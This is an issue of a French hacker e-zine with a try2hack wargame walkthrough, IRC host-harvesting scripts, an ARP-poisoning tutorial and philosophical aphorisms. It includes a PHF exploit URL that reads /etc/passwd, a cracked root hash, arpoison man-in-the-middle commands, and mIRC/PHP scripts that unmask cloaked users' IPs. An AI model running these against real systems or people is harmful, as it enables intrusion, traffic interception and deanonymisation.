If  edtUsername = Mid(gc0006, 56, 1) & Mid(gc0006, 28, 1) & 
                  Mid(gc0006, 35, 1) & Mid(gc0006, 3, 1)  & 
                  Mid(gc0006, 44, 1) & Mid(gc0006, 11, 1) & 
                  Mid(gc0006, 13, 1) & Mid(gc0006, 21, 1) Then
  If  edtPassword = Mid(gc0006, 45, 1) & Mid(gc0006, 48, 1) & 
                    Mid(gc0006, 25, 1) & Mid(gc0006, 32, 1) & 
                    Mid(gc0006, 15, 1) & Mid(gc0006, 40, 1) & 
                    Mid(gc0006, 25, 1) & Mid(gc0006, 14, 1) & 
                    Mid(gc0006, 19, 1) Then
  MsgBox "Level 6 can be found at: " & Left$(gc000A, 37) & Mid(gc0006, 21, 1) &
                                     Mid(gc0006, 14, 1) & Mid(gc0006, 29, 1) & 
                                     Mid(gc0006, 32, 1) & Mid(gc0006, 12, 1) & 
                                     Mid(gc0006, 14, 1) & Mid(gc000A, 44, 6), 
                                     0, "Horray!"
    End
  End If
End If
MsgBox "Invalid username and/or password!", 0, "ERROR!"
End Sub

Sub Form_Load ()
Me.Move (Screen.Width - Me.Width) / 2, (Screen.Height - Me.Height) / 2
End Sub
---------------------------------

La partie interessante est evidement la fonction cmdLogin_Click().
gc0006 est dans MAIN.TXT, et pour builder le username/pass/url
on a juste a faire de la substitution comme ca genre:

Mid(gc006, 56, 1) = la string gc0006 position 56 (1 char)  = T
                                     pos      28           = r
                                     pos      35           = y

...get it? ok, donc...

Username: Try2Hack
Password: ILoveDodi        (yup, le dodi de notre toolbox)
URL     : http://www.try2hack.nl/levels/level6-kdsvbd.xhtml 
          (le code fait juste changer les 6 lettres..yeah)
          
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          
Level 6: Une ligne pour celebre ca :S\______
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          

Vous avez besoin de: -> level6.zip (qui contient encore un VB proggy, 6.0 cette fois)
                     -> Un packet sniffer (pourquoi pas la bin win32 de snort?)

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
La partie la plus interessante du snifF:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/20-20:23:43.136307 0:0:0:0:0:0 -> 0:5:5D:FF:67:BE type:0x800 len:0xB6
0.0.0.0:3118 -> 62.192.127.200:80 TCP TTL:128 TOS:0x0 ID:32340 IpLen:20 DgmLen:168 DF
***AP*** Seq: 0x9551624  Ack: 0x705729F8  Win: 0x2DA0  TcpLen: 20
47 45 54 20 2F 6C 65 76 65 6C 73 2F 6C 65 76 65  GET /levels/leve
6C 36 2E 64 61 74 61 20 48 54 54 50 2F 31 2E 31  l6.data HTTP/1.1
0D 0A 48 6F 73 74 3A 20 77 77 77 2E 74 72 79 32  ..Host: www.try2
68 61 63 6B 2E 6E 6C 0D 0A 43 6F 6E 6E 65 63 74  hack.nl..Connect
69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 55 73 65 72  ion: close..User
2D 41 67 65 6E 74 3A 20 54 72 79 32 48 61 63 6B  -Agent: Try2Hack
20 6C 65 76 65 6C 20 36 20 63 6C 69 65 6E 74 0D   level 6 client.
0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 0D 0A  .Accept: */*....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Donc, le programme a un certain moment fait un: GET /levels/level6.data
pourquoi? let's see:

------------[Level6.Data]-------------
(ENCRYPTION TYPE)
B*C*N**N

(USERNAME)
aaabb aaaaa aaaab abbab ababb aaaab

(PASSWORD)
aabaa abbaa aaaba baaaa babba abbba baaba abaaa abbab abbaa baaaa aaaaa babaa abaab baaab

(PAGE)
babab aabab abaab abbab aabbb aaaba
---------------------------------------

En cherchant un peu, vous auriez evidement trouver que c'est une encryption baconian
(uniquement le premier niveau, les dudes de try2hack, on ete genereux) Ce qui explique
B*C*N**N, je croyais que c'etais une formule mathematique genre B(C(N^N)) au debut mais 
bon, il suffit de faire une substitution selon la table suivante: 

     	A = aaaaa  E = aabaa  I/J= abaaa  N = abbaa  R = baaaa W = babaa
		B = aaaab  F = aabab   K = abaab  O = abbab  S = baaab X = babab
		C = aaaba  G = aabba   L = ababa  P = abbba  T = baaba Y = babba
		D = aaabb  H = aabbb   M = ababb  Q = abbbb U/V= baabb Z = babbb
		
Ce qui donne en bout de ligne:

Username: DABOMB
Password: ENCRYPTIONRAWKS
level 7 : XFKOHC (http://www.try2hack.nl/levels/level7-xfkohc.php)

-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          
Level 7: MSIE 7.66 sous linux de chez m$
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          

Contient 3 test: 

Test #1: Browser check: Sorry, but you must use Microsoft Internet Explorer 7.66
Test #2: OS check: Must be using Unix or Linux
Test #3: You must come from www.microsoft.com/ms.htm


--------------RFC 1945--------------------------------------------------------------
10.15 User-Agent

Le champ d'en-tte User-Agent (requte) contient des informations sur l'utilisateur 
metteur de la requte. Cette information est utilise  des fins statistiques, pour 
tracer des violations de protocole, et  des fins de reconnaissance automatique 
d'utilisateur permettant de formater la rponse de la manire la plus adapte. 
L'usage de ce champ, bien que non indispensable, est cependant conseill. 
Le champ User-Agent peut mentionner plusieurs noms de produits (Section 3.7) 
ainsi que des commentaires identifiant le programme ou des sous-composants de ce 
programme dans la mesure o ceux-ci peuvent tre significatifs pour le serveur. 
Par convention, ces informations sont listes par ordre d'importance. 


User-Agent        = "User-Agent" ":" 1*( produit | commentaires )

Exemple: 
     	  User-Agent: CERN-LineMode/2.15 libwww/2.17b3

10.13 Referer

Le champ d'en-tte Referer (requte) permet au client d'indiquer,  l'usage du 
serveur, l'adresse (URI) de la ressource dans laquelle l'URI-vise a t trouve. 
Ceci permet au serveur de gnrer et entretenir des listes de "rtro-liens" destines 
 renseigner les clients futurs sur des "sites intressants", ou  but d'archivage 
et d'analyse, optimisation de cache, etc. Il permet aussi l'analyse de liens obsoltes 
ou de type incorrect  but de maintenance. Le champ Referer ne doit pas tre inscrit 
si la source de l'URI-vise provient d'une entit n'ayant pas d'URI propre, comme 
l'entre de l'adresse via un clavier. 


Referer        = "Referer" ":" ( URI_absolue | URI_relative )

Exemple: 
		Referer: http://www.w3.org/hypertext/DataSources/Overview.phpl	
------------------------------------------------------------------------------------

telnet www.try2hack.nl 80
Parter un session log (pour avoir le output du GET) et tapper ca:

	GET http://www.try2hack.nl/levels/level7-XFKOHC.php HTTP/1.0
	User-Agent: MSIE 7.66/LINUX
	Referer: http://www.microsoft.com/ms.htm
	
	<deux enter, pour finir la request>

Le logged session contient le URL: level8-balnrg.xhtml

-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          
Level 8: Old skewl PHF
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          

Je dois avouer que ce niveau la ma rendu nostalgique un peu, la faille 
etait tres populaire dans les annee 90. Le fbi, c'est d'ailleurs fait 'owner' 
grace a ce truc la...HAHAHAHA.

Pour l'exploiter: http://www.try2hack.nl/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd

ce qui vous donne:

-------------meme pas shadower...c'est votre jour de chance------------------
root:i1xC4sSrfP/oY:0:0::0:0:Charlie &:/root:/usr/local/bin/bash 
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin 
operator:*:2:5::0:0:System Operator:/:/sbin/nologin 
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin 
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin 
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin 
games:*:7:13::0:0:Games pseudo-user:/usr/games:/sbin/nologin 
news:*:8:8::0:0:News Subsystem:/:/sbin/nologin 
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin 
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin 
smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin 
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/sbin/nologin 
bind:*:53:53::0:0:Bind Sandbox:/:/sbin/nologin 
uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico 
xten:*:67:67::0:0:X-10 daemon:/usr/local/xten:/sbin/nologin 
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/sbin/nologin 
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/sbin/nologin 
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin 
-------------------------------------------------------------------------------

Apres ~1 minute intensive de john the ripper:

		arsanik          (root)
		guesses: 1  time: 0:00:01:24  c/s: 138343  trying: Setusck - arsanik
	
Voila...end of challange, vous etes un leet h4x0r....
         

    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|             funky@mindkind.org          |    
                                '-------- - ----------- ------------ -----'



    Vous vous sentez protgez avec votre  acompte x ? Eh bien vous  l'tes
    pas. (la  vrit est  cruel n'est-ce  pas ?  En effet,  peu importe la
    vitesse  laquelle vous envoyer  votre requtes  X pour  cacher votre
    host, il y a toujours un dlais, ce dlais peu tre inutilisable si on
    fait la job a main (du genre  qu'on se rend compte que le gars  est in
    trop  tard).  Par contre  il  suffit d'utiliser  la  notify list  avec
    l'option whois on join  pour avoir le host.  le petit script mIRC  qui
    suit fait 2 choses,  il prend en note  les host des nick  en notify on
    join et les mets  dans un fichier vhost.txt  et aussi il dump  le /who
    qui se  passe lorsqu'on  join un  chan. (idal  pour ramasser la liste
    d'IPs et d'identifier ceux qui sont camoufls derrire leur user X.      

    
    mIRC host grabber :
---------------------------Beginning------------------------------------------
popups
.hostgrabber
..$iif(!%gethost,activate):%gethost = on
..$iif(%gethost,desactivate):unset %gethost
remote
raw 352:*: {
  if (%gethost) {
    write mindkind/host.txt $1 $2 $3 $+ @ $+ $4-
  }
}
 
on *:NOTIFY: {
  if (%gethost) {
    write mindkind/spyvhost.txt $address($nick,5)
  }
}
 
----------------------------eof-----------------------------------------------





    .-----------[MinDKinD100\#100.04]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 05/12/2003
    | .   "applied arp poisonning"                     | - rst_ack
    |                           aka                    '------------- ----.
    |                               "le `packet` a l'arsenic"             | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 


Fonctionnement du protocole ARP

Aprs avoir lu cet article, vous serez en mesure de comprendre et de rechercher
des moyens pour prvenir une attaque de type man-in-the-middle sur un rseau 
local utilisant le protocole ARP (il y a plusieurs RFC qui expliquent son 
fonctionnement www.rfc-editor.org).  D'autres types d'attaques peuvent tre 
effectues...du genre DoS mais je n'en traiterai pas dans cet article.  Enfin, 
je suppose que vous avez un peu de bagage en terme de network (routage IP en 
particulier) et que vous connaissez bien tcpdump (sous Linux).

ARP:  c'est quoi?

ARP est un protocole de communication de bas niveau du modle OSI. Il effectue 
la traduction d'une adresse IP 32 bits en une adresse MAC 48 bits.  Mais 
pourquoi faut-il faire cette traduction?  Pourquoi on n'a pas seulement besoin 
du IP pour communiquer?  Eh bien rappelez-vous que le IP sert pour le routage 
sur Internet ou sur un WAN, i.e. d'acheminer un packet d'un rseau local X   
un rseau local Y.  Un exemple est lorsque vous faites un traceroute sur un 
host.  Le packet passe par diffrents routers(hops) avant d'arriver   
destination.  Mais dans notre exemple, lorque le packet part du rsesau local 
X et arrive au routeur de rseau local Y, ce dernier, pour l'acheminer   la 
bonne machine, doit connatre son adresse MAC.  Une fois connue, le packet 
peut tre achemin   destination.  Pour les fins de l'attaque, on ne 
s'occupera que de ce qui se passe sur le rseau local.  Au diable le routage, 
on n'en a pas vraiment besoin pour comprendre...

Supposons un petit rseau local Ethernet compos de 2 ordinateurs (A et B) et 
un router (un minuscule rseau).  Ces ordinateurs peuvent communiquer entre 
eux via un hub et peuvent accder   Internet via un router. 

 Linux Box				  Windows Box                            
+---------+                              +----------+	
|    A    |IP: 192.168.1.101             |     B    | IP: 192.168.1.108
|         |MAC: xx-xx-xx-xx-e0           |          | MAC: xx-xx-xx-xx-c8
+---------+                              +----------+ 
     |_________________________________________|
	                    |
                          |
                     +----------+
                     |  router  |IP: 192.168.1.1
                     |          |MAC: xx-xx-xx-xx-xx-9d
                     +----------+
				   |
				   |
               +*********************+
           +***                       ***+
       +***                               ***+
      +                internet               +
       +***+                             +***+
            ***                       ***
               +*********************+


On se rappellera que les adresses IP peuvent tre obtenues, sous la plateforme 
Windows, en excutant la commande c:\ipconfig /all dans la fentre dInvite 
MS-DOS ou, sous la plateforme Linux, par la commande $ifconfig. Chacune de ces 
commandes nous donnera ladresse IP de la machine ainsi que sa MAC adresse. 

La MAC adresse (pour Media Access Control), est ladresse physique de la carte 
rseau dun ordinateur.  Il sagit dun numro unique de 48 bits au total, 
exprim en 12 digits hexadcimaux.  Les 6 premiers digits hexadcimaux sont 
administrs par lIEEE et identifie le manufacturier de la carte.  On appelle 
ces digits lOUI (Organisationally Unique Identifier).  Une recherche dans les 
bases de donnes de lIEEE peut nous donner le nom du manufacturier dune carte 
rseau.  Les 6 derniers digits reprsentent le numro de srie gr 
spcifiquement par le manufacturier.  Ladresse MAC est inscrite en mode 
lecture seule dans une puce mmoire de la carte et est amen en mmoire RAM de 
lordinateur au moment de linitialisation de la carte rseau.   Cette adresse 
est unique   travers le monde et doit ltre.  La MAC adresse est permanente 
tandis que ladresse IP ne lest pas.   Bon, assez de thorie comme a.

Il a t dit que ladresse MAC tait amene en mmoire RAM.  En fait, elle va 
se loger dans ce que lon appelle le  ARP cache (espace mmoire spcifique) 
de lordinateur.  Il est possible dafficher le contenu du ARP cache dun 
ordinateur en excutant la commande suivante:  C:\arp -a sous Windows ou $arp 
sous Linux.

Par exemple, voici le contenu du ARP cache de B:
 
C:\Documents and Settings>arp -a

Interface: 192.168.1.108 --- 0x10003
  Adresse Internet      Adresse physique      Type
  192.168.1.1           xx-xx-xx-xx-xx-9d     dynamique

et le contenu du ARP cache de A:

[test@localhost]$ arp
Address                HWtype  HWaddress           Flags Mask            Iface
192.168.1.1            ether   xx:xx:xx:xx:xx:9d   C                     eth0

Le ARP cache est donc un  mapping entre une adresse IP et son adresse MAC.

Maintenant, avant daller plus loin, il est important de comprendre comment les
informations sont transmises dun ordinateur   un autre sur un rseau.  
Supposons que A veuille envoyer un message   B.  Pour se faire, A doit 
connatre ladresse physique (adresse MAC) de lordinateur de B.  Supposons 
qu'il n'y a pas de service DNS et que les adresses IP de B et du router sont 
connues par A. La premire chose que fera A, cest daller voir dans son ARP 
cache pour voir si une adresse MAC est associe au IP de B.  Si le ARP cache 
ne contient aucune correspondance entre ladresse IP de B et son adresse MAC, 
A mettra ce quon appelle  un  ARP request sur le rseau local.  Cette 
requte sera capte par tous les ordinateurs (broadcast) sur le rseau mais 
seul B rpondra au message car il sadresse  lui en particulier. B mettra un 
 ARP reply   A, disant que cest lui qui a lIP 192.168.1.108 et que son 
adresse MAC est xx:xx:xx:xx:xx:c8. Voici un extrait de ce type de requte ARP, 
obtenue avec tcpdump sous Linux:

09:22:10.400942 arp who-has 192.168.1.108 tell 192.168.1.101
09:22:10.401091 arp reply 192.168.1.108 is-at xx:xx:xx:xx:xx:c8

La premire ligne constitue la requte ARP produite par A.  La seconde est la 
rponse de B.





La cache de lordinateur de A est par la suite mise   jour avec ces nouvelles 
informations:

[root@localhost]$ arp
Address                HWtype  HWaddress           Flags Mask            Iface
192.168.1.1	        ether   xx:xx:xx:xx:xx:9d   C                     eth0
192.168.1.108		ether   xx:xx:xx:xx:xx:c8   C                     eth0


Dornavant, lorsque A voudra envoyer des packets   B, il consultera son ARP 
cache, constatera que le IP 192.168.1.108 correspond  la MAC xx:xx:xx:xx:xx:c8  
et pourra envoyer directement linformation   B.

Le mme processus sapplique pour les changes dinformations entre le rseau 
local et Internet, cest- -dire au-del des frontires du router. Par exemple, 
supposons que A veuille visionner la page web de mindkind.org.  Supposons qu'il 
n'y  a pas de services DNS et que A connat ladresse IP du site mindkind.org.  
Dans un premier temps, A examinera sa table de routage et constatera quil 'y a 
pas d'entre pour le IP de mindkind.org et qu'il ne se situe pas sur le rseau 
local. A doit donc envoyer son packet au router, qui lui soccupera de 
lacheminer   mindkind.org. Dans ce cas ci, A a donc besoin de connatre 
ladresse physique du router car il doit lui envoyer le paquet.  Supposons que 
le ARP cache de A ne contient pas d'entre pour l'adresse IP du router.  A  
mettera donc la requte ARP suivante:

09:25:10.400942 arp who-has 192.168.1.1 tell 192.168.1.101
09:25:10.401091 arp reply 192.168.1.1 is-at xx:xx:xx:xx:xx:9d

Le router, ayant ladresse IP 192.168.1.1, informe A que son adresse MAC est 
xx:xx:xx:xx:xx:9d.  Maintenant, A est en mesure denvoyer physiquement son 
packet au router.  Ce dernier suivra la mme procdure pour acheminer le packet 
soit directement   mindkind.org, soit   un autre router.
 
Ouf, cest un peu simplifi mais a ressemble pas mal   a. J'avais dis que je 
parlerais pas de routage mais bon...

Le malicieux hacker

Maintenant que nous connaissons un peu mieux le fonctionnement du protocole, 
nous allons voir quels types dattaques pourraient tre diriges par un hacker 
sur le rseau. 

Rappelons que les principaux messages du protocole ARP sont les suivants:

ARP request (Qui a ce IP)
ARP reply (Jai ce IP, mon adresse MAC est)
Reverse ARP (RARP) request (Qui a cette adresse MAC?)
RARP reply (Jai cette adresse MAC, mon IP est...)

Le ct obscure du protocole ARP est sa totale aversion pour la scurit.  En 
effet, le protocole ARP est peu scuritaire i.e. quil prend tout pour du cash.  
Mais il est tout de mme ncessaire!!! En fait, nimporte qui sur le rseau 
peut envoyer un "ARP reply"  une machine, sans avoir reu de "ARP request" au 
pralable de celle-ci.  Ce ARP reply sera accept, sans quaucune question ne 
soit pose.  Un usager malicieux pourrait ainsi profiter de cette dfaillance 
et  modifier   sa guise le ARP cache dun ordinateur.  C'est ce que l'on 
appelle du ARP poisoning.



Mais   quoi a sert de faire a me direz-vous?  Eh bien, cest une faon de se 
faire passer pour quelquun dautre (spoofing).  Et   quoi a sert de se faire 
passer pour un autre ordinateur? Eh bien, il serait possible dintercepter tout 
le trafic de packet entre deux ou plusieurs ordinateurs, entre un ordinateur ou 
Internet, etc.  Mouin, pis!  Eh bien poser la question cest y rpondre ! ;)P  

Ce que je vais prsenter ici cest lattaque du  man-in-the-middle, qui 
consiste   tromper deux individus.  Dans mon cas, il sagit de B et du router.  
Disons que je suis A et je veux intercepter toutes les communications entre B 
et le router.  Comment je vais my prendre?  Eh bien je pourrais, dans un 
premier temps,  me faire passer pour B aux yeux du router et, par la suite, me 
faire passer pour le router aux yeux de B.  Simple non?  Mais comment mettre 
tout a en pratique?  Eh bien, comme je lai dit tout   lheure, un ordinateur 
accepte tout btement un ARP reply, sans se poser de question, et met 
automatiquement   jour son ARP cache en fonction du contenu de la requte. Or, 
je nai qu  envoyer un ARP reply au router disant que je suis B et un ARP 
reply   B disant que je suis le router. Et a va marcher ?  Oui monsieur ou 
madame bien entendu;)! Mais il va falloir essayer de synchroniser nos ARP reply 
le plus possible car le "pot-aux-roses" pourrait tre dcouvert!!! Ok, jusque 
l, a va.  Mais comment peut-on envoyer ces ARP reply?  Eh bien soit vous 
concevez vous-mme un programme utilisant les  raw sockets ou linterface 
propose par la librairie  libnet (en C bien entendu) ou bien vous optez 
pour un logiciel du  march, genre  arpoison disponible en code source sur 
le site www.packetstormsecurity.nl.    Pour ma part, jai install la librairie 
 libnet et jai compil  arpoison avec gcc.  Cest avec cet excutable que 
jai conduit mon attaque du  man-in-the-middle (sur mon lab personnel bien 
entendu;)).

Bon, le logiciel est install et prt   tre utilis.  Quest ce que jai 
besoin comme information?  Jai besoin de mon adresse IP (192.168.1.101), de 
mon adresse MAC (xx:xx:xx:xx:xx:e0), de ladresse IP du router (192.168.1.1), 
de ladresse MAC du routeur (xx:xx:xx:xx:xx:9d), de ladresse IP de la victime 
(192.168.1.108) et de ladresse MAC de la victime (xx:xx:xx:xx:xx:c8).  Mais 
comment obtenir toutes ces informations me direz-vous?  Simple.  Un bon scanner 
fera laffaire.  Et si vous tes patient, un ping sur une adresse IP victime 
fera en sorte de mettre   jour votre propre ARP cache avec son adresse MAC ! 


Les commandes

Je veux d'abord  dire au router que je suis B.  Voici la ligne de commande pour 
arpoison:

arpoison -i eth0 -d192.168.1.1 -s192.168.1.108 -txx:xx:xx:xx:xx:9d 
-rxx:xx:xx:xx:xx:e0  -n1


Analyse:
	-i eth0 		Jenvoie le ARP reply via mon interface eth0 (Linux)
	-d192.168.1.1 	Le ARP reply est destin au routeur
	-s192.168.1.108 	Cest ladresse IP de B
	-t<MAC> 		Cest ladresse MAC du routeur
	-r<MAC>		Cest mon adresse MAC

Pourquoi tous ces IP et ces MAC? Parce qu'un ARP reply doit contenir toutes ces 
informations.  Je vous fait grce de la structure formelle du ARP reply car mes 
talents en dessins ASCII son plutt mdiocres.  Allez voir sur le net   la 
place!!

En fait, jinforme le router que ladresse IP de B correspond   mon adresse MAC.  
Donc tout ce qui va aller   B passera par A i.e. moi.

Voici lextrait de tcpdump suite   la commande arpoison:

11:04:07.069402 arp reply 192.168.1.108 is-at xx:xx:xx:xx:xx:e0


Je veux maintenant dire   B que je suis le router. Voici la ligne de commande   
entrer dans arpoison:

arpoison -i eth0 -d192.168.1.108 -s192.168.1.1 -txx:xx:xx:xx:xx:c8 
-rxx:xx:xx:xx:xx:e0  -n1

Analyse:
	-i eth0 		Jenvoie le ARP reply via son interface eth0
	-d192.168.1.108 	Le ARP reply est destin   B
	-s192.168.1.1 		Cest ladresse IP du routeur
	-t<MAC>			Adresse MAC de B
	-r<MAC>			Cest mon adresse MAC

En fait, jinforme B que le IP du router correspond   mon adresse MAC.  Donc 
tout ce que B va transmettre sur Internet va transiter par mon ordinateur.

Voici lextrait de tcpdump suite   la commande arpoison:

11:04:07.069402 arp reply 192.168.1.1 is-at xx:xx:xx:xx:xx:e0


Le ARP cache de B devient donc le suivant:

Interface: 192.168.1.108 --- 0x10003
  Adresse Internet      Adresse physique      Type
  192.168.1.1           xx-xx-xx-xx-xx-e0     dynamique


Le arp cache du router devient le suivant :
  ()
192.168.1.101	xx-xx-xx-xx-xx-e0
192.168.1.108		xx-xx-xx-xx-xx-e0

Cest bien beau tout cela, le trafic est redirig comme on voulait.  Toute 
communication entre B et le router passe par A.  Mais si on laisse a comme a, 
leffet sera que B naura plus accs   Internet donc il sera victime dune 
attaque DoS.  Il ne faut donc pas oublier d'activer le routage sur A, et de 
cette faon, B pourra toujours aller sur Internet et ne verra pas les 
changements que jai apport   son ARP cache. Comment faire?  Eh bien, je lai 
fait sous Linux seulement. Pour se faire, il faut modifier la valeur du fichier 
 ip_forward que lon trouve dans le rpertoire suivant:

/proc/sys/net/ipv4/

La valeur 1 doit tre insre dans le fichier ip_forward.  On peut le faire 
comme suit:

$echo 1 > ip_forward

Une fois activ, mon ordinateur devient donc lui-mme  un router et intercepte 
toutes communications entre lordinateur B (victime) et Internet.

Et voil !!!   

    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|           scryptoman@hotmail.com        |    
                                '-------- - ----------- ------------ -----'




    Voici un petit complment PHP au script mIRC que vous avez pu  trouver
    a l'entre article prcdent. il prend  la liste de host gnr par  le
    script et  les modifies  en IP  et spare  les host  Undernet dans  un
    fichier a part (pour les mettre en notify). il fonctionne sous Windows
    (Cygwin) et linux. Vous aurez srement  changer l'entte pour utilise
    votre interprteur PHP avec  le script (dfaut to  /usr/local/bin sous
    Linux).

    
---------------------------------begining---------------------------------
#!/usr/local/bin/php/php.exe
<?PHP
ini_set('max_execution_time',"99999");
$ifile="host.txt";
$ofile="ip.txt";
$o2file="vhost.txt";
$nfile="nick.txt";
$buffer = file($ifile) or die ("this software need host.txt or to be edit");
$output = fopen($ofile,"w");
$output2 = fopen($o2file,"w");
$output3 = fopen($nfile,"w");
$unethost = 0;
$entry = 0;
 
echo "wait while process";
for($x=0;$x<count($buffer);$x++)
 {
 if (strlen($buffer[$x]) > 5)
 $entry++;
  {
  $trim = explode("@",$buffer[$x]);
  $retrim = explode(" ",$trim[1]);
  $host[$x] = $retrim[0];
  $nick[$x] = $retrim[2];    
  $undernet = explode(".", $host[$x]);
  //echo $undernet[2]."\r\n";  
  if (@strtolower($undernet[2]) == "undernet")
   {           
   $unethost++;
   //echo $host[$x]."\r\n";
   fputs($output2,$host[$x]."\r\n");
   fputs($output3,"$host[$x] $nick[$x]\r\n");
   } else
   {
   $ip[$x - $unethost] = gethostbyname($host[$x]);
   fputs($output,$ip[$x - $unethost]."\r\n");
   fputs($output3,$ip[$x - $unethost]." ".$nick[$x]."\r\n");
   //echo $ip[$x]."\r\n";
   }       
  }
 }
fclose($output);
fclose($output2);
fclose($output3);
echo "\r\n";
echo "total en entry : ".$entry."\r\n";
echo "nombre de vhost undernet : ".$unethost."\r\n";
echo "nick are in $nfile , ip are in $ofile and unet vhost are in $o2file \r\n";
?>
----------------------------------eof-------------------------------------
    




    .-----------[MinDKinD100\#100.05]------- ----------. [M]ind[K]ind #100
    |                                                  | - 16/12/03
    | .      L'ironie du pessimisme                    | - c4ndu
    |                           aka                    '------------- ----.
    |                              "j'm'appelle Louis, fuck you."         | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 



La philosophie, disait-il, ne s'apprend  pas,  elle  se  comprend
que lorsque nous avons nous-mme mditer  sur  ce  que  bon  nous
semble. Faire la part entre le bien  et  le mal,  c'est  dmontr
l'antipode de la rflexion unanime.  a n'arrive pas, ou que trs
rarement,  que dans  un groupe  part, une classe de gens qui  se
mettent d'accord sur une ide quelconque. Choisissez  bien  celui
que vous lirez, ne vous  laissez  pas  imposer  une  lecture  par
simple devoir  intellectuel : on  s'attache   un philosophe  car
on la choisi,  car il  est  du  mme  groupe  que  nous,  car  il
reprsente publiquement ce qu'on n'a pas la force de reprsenter.

*

Le  bien et le mal sont 2 valeurs tellement relatives, qu'essayez
de leur donner un sens ou  une  interprtation  quelconque,  nous
apportent souvent vers une image idaliste. Il n'y a pas  que  la
Bible,  les   religions  et  la  famille  qui  nous  donnent  une
dfinition potable  du bien et du mal. On peut facilement accuser
notre   pays, qui  par   notre   culture,    nous   indique   les
diffrents chemins portant vers  une rponse  facile.  Sachez  en
tout temps faire la part des choses,  on peut alors facilement en
arriver  une conclusion un peu bizarre, portant  sur  le respect
des autres, l'amour, l'amiti : il  n'y  a  rien  de plus goste
que de penser par soi-mme.

*

Lhomme  n'a  pas  seulement  dtruit  ce qui l'entoure, il s'est
dtruit lui-mme  par  sa qute de connaissance. N'oubliez pas ce
que Cioran dit au dbut de son livre La  Tentation  D'Exister, et
je cite: nous devons la quasi-totalit de nos dcouvertes  notre
violence. Nous  dcouvrons  certaines  choses lorsque nous  avons
atteint un certain  degr de pouvoir potentiel : la  guerre comme
tel n'est pas utile, seul l'ide de la guerre suffit.

*

Lorsqu'on fini par croire  nos ides, c'est signe que la fatigue
a pris le dessus, que notre cerveau n'a pas  encore  atteint  son
potentiel :  ne soyez jamais trop certain;  douter, parfois, peut
nous apporter un certain pouvoir exceptionnel.  En tout temps, la
sagesse n'est pas  le  but recherch; le but  recherch est, tant
qu' lui, plutt vaste et sans frontire.  La  sagesse n'est donc
pas signe d'ventualit  mais mre de la stupidit.  Soyons sage,
tuons-nous les uns les autres ...

*

L'artiste  moderne  continue   d'essayer de recrer la roue;  son
style, c'est la faon avec laquelle vous tes porter   gober son
ironie. Il recre la roue, il ladapte continuellement au moindre
changement d'une socit.  La masse intelligente d'artiste qui se
distingue par leurs faons de faire sont vite  oublis : il n'y a
rien de plus cruel que la recherche du sentiment  dj vu; il n'y
a rien de plus cruel que de la nostalgie.

*

Avoir commis le pire crime sur terre : celui de ne pas tre digne
d'avoir t ton confident ...

*

Ne sous-estimer jamais le pouvoir d'un con.  Son  gocentrisme et
sa stupidit hors du commun en font quelqu'un de trs spcial. Il
vous dtruira  intrieurement  et  extrieurement    la  moindre
occasion; il sautera sur  la  moindre  erreur  intellectuelle  de
votre part, et doublera les consquences de lerreur par sa qute
de sensationnalisme.  Ne  cherchez  jamais  vaincre la stupidit
humaine : la  seule  faon  de  contrer  la  stupidit, c'est  en
lliminant.

*

Se sentir libre, c'est en quelque sorte frler la folie. Si  vous
vous sentez libre, c'est quen quelque part, un jour,  un moment
ou un autre, vous avez commis  un  acte stupide,  qui  ne demande
aucune rflexion morale.  Le  mot  libert est,  tant  qu'a  lui,
d'une relativit un peu bizarre,  qui,  par  bon  jugement  d'une
socit organise et loyale, nous  est donn sur un plateau d'or,
sans qu'on ait    se  poser  aucune  question.  Les  lois  tant
d'ailleurs notre  seule  justification  et anti-relativit de mot
libert. Alors, sentez vous libre, car qui sait,  demain, a sera
peut-tre interdit.

*

Avoir du tout le monde de mon entourage, sauf moi-mme.

*

La solitude nous rattrapera tt  ou  tard, d'une  faon  ou d'une
autre, elle nous grugera jusqu'  notre dernier souffle,  jusqu'
notre dernier soupir optimiste. La  premire raction de l'homme,
lorsqu'il a peur, c'est  de  s'assimiler  lui-mme : l'homme  qui
sent que la solitude va  finir  par  e  rattraper,  commencera  
l'aimer, il se  sentira  inconsciemment   bien   dans   celle-ci.
Ironiquement, il nexiste pas de meilleur moyen pour se dcouvrir
